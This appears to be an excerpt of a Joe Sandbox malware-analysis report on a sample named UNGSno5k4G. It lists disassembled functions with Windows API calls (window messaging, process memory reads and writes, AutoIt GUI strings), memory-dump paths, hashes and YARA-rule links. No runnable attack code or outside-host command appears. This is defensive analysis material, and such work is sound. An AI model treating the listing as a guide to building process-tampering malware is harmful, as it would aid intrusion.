                                                                                                                                                  • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2783949968-0
                                                                                                                                                  • Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                  • Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
                                                                                                                                                  • Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                  • Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA
                                                                                                                                                  Function 00417D0E Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __getptd.LIBCMT ref: 00417D1A
                                                                                                                                                    • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                    • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                  • __getptd.LIBCMT ref: 00417D31
                                                                                                                                                  • __amsg_exit.LIBCMT ref: 00417D3F
                                                                                                                                                  • __lock.LIBCMT ref: 00417D4F
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3521780317-0
                                                                                                                                                  • Opcode ID: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                  • Instruction ID: 784cd6646040312d8c3929352b57c791f513dbd9ce30c249d09a92555f0e5bc7
                                                                                                                                                  • Opcode Fuzzy Hash: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                  • Instruction Fuzzy Hash: D4F06D319447089AD720FB66E4067EA32B0AF01728F11856FA4415B7D2DB3C99C08B9E
                                                                                                                                                  Function 00471144 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetDesktopWindow.USER32 ref: 00471144
                                                                                                                                                  • GetDC.USER32(00000000), ref: 0047114D
                                                                                                                                                  • GetDeviceCaps.GDI32(00000000,00000074), ref: 0047115A
                                                                                                                                                  • ReleaseDC.USER32(00000000,?), ref: 0047117B
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2889604237-0
                                                                                                                                                  • Opcode ID: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                                                                  • Instruction ID: a1da8b046b56c0024f4e51319ca7c868ce9b42ab557c4db2e47d6af70bf9fcef
                                                                                                                                                  • Opcode Fuzzy Hash: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                                                                  • Instruction Fuzzy Hash: 75F05E759042009FC310DF65DC4856EBBA4FB94351F108C3EFD05D2251DB7889059B99
                                                                                                                                                  Function 00471102 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetDesktopWindow.USER32 ref: 00471102
                                                                                                                                                  • GetDC.USER32(00000000), ref: 0047110B
                                                                                                                                                  • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00471118
                                                                                                                                                  • ReleaseDC.USER32(00000000,?), ref: 00471139
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2889604237-0
                                                                                                                                                  • Opcode ID: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                                                                  • Instruction ID: 5204c471e266b2ed5cdb435334cd6f206910ee07043e0bb223494c3f632f6575
                                                                                                                                                  • Opcode Fuzzy Hash: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                                                                  • Instruction Fuzzy Hash: 78F05E759042009FD310EF65DC5896EBBA4FB94351F104C3EFC05D2251DB7489059B99
                                                                                                                                                  Function 004389A1 Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                  • GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                  • AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2710830443-0
                                                                                                                                                  • Opcode ID: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                  • Instruction ID: 438da6915ae72ab6a15f098678a9856147cbf2dc0a85cf0a700465948addd5b0
                                                                                                                                                  • Opcode Fuzzy Hash: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                  • Instruction Fuzzy Hash: 14E012712853107BE72157509D0EFAF7B98AF18B11F14481EB241B50D0DAF8A941876E
                                                                                                                                                  Function 004390C2 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004390CD
                                                                                                                                                  • UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 004390DB
                                                                                                                                                  • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390EB
                                                                                                                                                  • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390F0
                                                                                                                                                    • Part of subcall function 00438FB6: GetProcessHeap.KERNEL32(00000000,?,00439504,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FC1
                                                                                                                                                    • Part of subcall function 00438FB6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00438FC8
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 146765662-0
                                                                                                                                                  • Opcode ID: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                                                                  • Instruction ID: e19b07cb6d87eea3d85dfea562759309df1919ba68b29a0146d7a5ec0ea3c710
                                                                                                                                                  • Opcode Fuzzy Hash: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                                                                  • Instruction Fuzzy Hash: 5DE0C976504311ABC620EB65DC48C4BB7E9EF883303114E1DF89693260CA74E881CB65
                                                                                                                                                  Function 0041405D Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 00414070
                                                                                                                                                    • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                                                                  • __getptd_noexit.LIBCMT ref: 00414080
                                                                                                                                                  • __freeptd.LIBCMT ref: 0041408A
                                                                                                                                                  • ExitThread.KERNEL32 ref: 00414093
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3182216644-0
                                                                                                                                                  • Opcode ID: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                                                                  • Instruction ID: 8c1b811a677bc0208766d104aadce1409d27245c16b3af4a320e27a455eae914
                                                                                                                                                  • Opcode Fuzzy Hash: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                                                                  • Instruction Fuzzy Hash: F8D0EC7051024256D6207BA7ED097AA3A589B44B26B15446EA905801B1DF68D9C1862D
                                                                                                                                                  Function 0046EDC6 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 383COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: BuffCharLower
                                                                                                                                                  • String ID: $8'I
                                                                                                                                                  • API String ID: 2358735015-3608026889
                                                                                                                                                  • Opcode ID: d6f66c2f2361e76d4402681cdd51d930a97151c2fdd89a539067bc835b5788b1
                                                                                                                                                  • Instruction ID: 1bf34105e022c250dd7240f1ea7ec4803edb57b208c13e69c3fb06210d7c4844
                                                                                                                                                  • Opcode Fuzzy Hash: d6f66c2f2361e76d4402681cdd51d930a97151c2fdd89a539067bc835b5788b1
                                                                                                                                                  • Instruction Fuzzy Hash: 9FE1AE745043018BCB24EF16D88166BB7E4BF94348F40482FF88597292EB79DD89CB9B
                                                                                                                                                  Function 00478373 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • OleSetContainedObject.OLE32(00000000,00000001), ref: 0047857A
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                    • Part of subcall function 00445513: OleSetContainedObject.OLE32(?,00000000), ref: 00445593
                                                                                                                                                    • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                    • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                    • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                    • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CopyVariant$ContainedObject$ErrorLast_malloc
                                                                                                                                                  • String ID: AutoIt3GUI$Container
                                                                                                                                                  • API String ID: 3380330463-3941886329
                                                                                                                                                  • Opcode ID: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
                                                                                                                                                  • Instruction ID: 8a51a4197b359b89da059ec4b883cd23719ad159cb4f439b8c2c8f5fea4c1b32
                                                                                                                                                  • Opcode Fuzzy Hash: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
                                                                                                                                                  • Instruction Fuzzy Hash: FEA16A71240601AFC760EF69C880A6BB7E9FB88304F10892EF649CB361EB75E945CB55
                                                                                                                                                  Function 004099A8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                    • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                  • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                  • String ID: 0vH
                                                                                                                                                  • API String ID: 1143807570-3662162768
                                                                                                                                                  • Opcode ID: 3b8ec82d58c38576b00ff22988a0e650aa58911ac6743af60d2de49a63bf73c2
                                                                                                                                                  • Instruction ID: 5e67718e4417cbef977f4cc7974cb0b4b39b480e5382bb1977b3cac956c07efc
                                                                                                                                                  • Opcode Fuzzy Hash: 3b8ec82d58c38576b00ff22988a0e650aa58911ac6743af60d2de49a63bf73c2
                                                                                                                                                  • Instruction Fuzzy Hash: 53515BB1A083009FC718CF18C48065BB7E1FF88314F54856EF9999B391D779E942CB96
                                                                                                                                                  Function 00466587 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: HH$HH
                                                                                                                                                  • API String ID: 0-1787419579
                                                                                                                                                  • Opcode ID: 7546cf6663fec2d41e0be28018c51c43d88dc93244b488606bcda1ed75612bc1
                                                                                                                                                  • Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
                                                                                                                                                  • Opcode Fuzzy Hash: 7546cf6663fec2d41e0be28018c51c43d88dc93244b488606bcda1ed75612bc1
                                                                                                                                                  • Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95
                                                                                                                                                  Function 00444652 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: InfoItemMenu_memset
                                                                                                                                                  • String ID: 0
                                                                                                                                                  • API String ID: 2223754486-4108050209
                                                                                                                                                  • Opcode ID: b197b12ebb791d0d124b954fc3f56ec3733aa4353655cd8c64cc0c5a1933b8ad
                                                                                                                                                  • Instruction ID: 143d79469fb3e570aa9bb1e7a79db7ad77638f8ab3c2e89d41e08a42c99b444e
                                                                                                                                                  • Opcode Fuzzy Hash: b197b12ebb791d0d124b954fc3f56ec3733aa4353655cd8c64cc0c5a1933b8ad
                                                                                                                                                  • Instruction Fuzzy Hash: CB3101721043009BF3249F18DC85BABBBE4EBC6310F14081FFA90C62A0E379D949C75A
                                                                                                                                                  Function 00448358 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,00001132,00000000,?), ref: 0044846C
                                                                                                                                                  • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044847E
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend
                                                                                                                                                  • String ID: '
                                                                                                                                                  • API String ID: 3850602802-1997036262
                                                                                                                                                  • Opcode ID: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                                                                  • Instruction ID: cecdca06d5aa7ecc7109d5e1ff25192cbd540bafe2d1ef24ff7c1b98f096cb5f
                                                                                                                                                  • Opcode Fuzzy Hash: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                                                                                  • Instruction Fuzzy Hash: 984179706083459FE710CF18C880BABB7E1FB89700F54882EF9888B351DB75A841CF5A
                                                                                                                                                  Function 0046128B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 004612A6
                                                                                                                                                  • SendMessageW.USER32(00000000,0000110A,00000004,00000000), ref: 004612E5
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 3850602802-2594219639
                                                                                                                                                  • Opcode ID: ca8f1a42832c60cac51e65dbcfcd56300f8fb0be03ca33edb6c8519f9e3040d6
                                                                                                                                                  • Instruction ID: f8fd21f0e1867b06c835501dfe21ca85db2c6c02fe2e731c399d4fbdd0320bf4
                                                                                                                                                  • Opcode Fuzzy Hash: ca8f1a42832c60cac51e65dbcfcd56300f8fb0be03ca33edb6c8519f9e3040d6
                                                                                                                                                  • Instruction Fuzzy Hash: 8121F631A003019BC211FE55DC81E5BB3A8EBD9B55F44093FFD46772A0EA78DD4583AA
                                                                                                                                                  Function 00445B50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00438C85: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00438C95
                                                                                                                                                    • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                                                                                                  • SendMessageW.USER32(?,00001073,?,00000000), ref: 00445BDA
                                                                                                                                                    • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 00445C0A
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
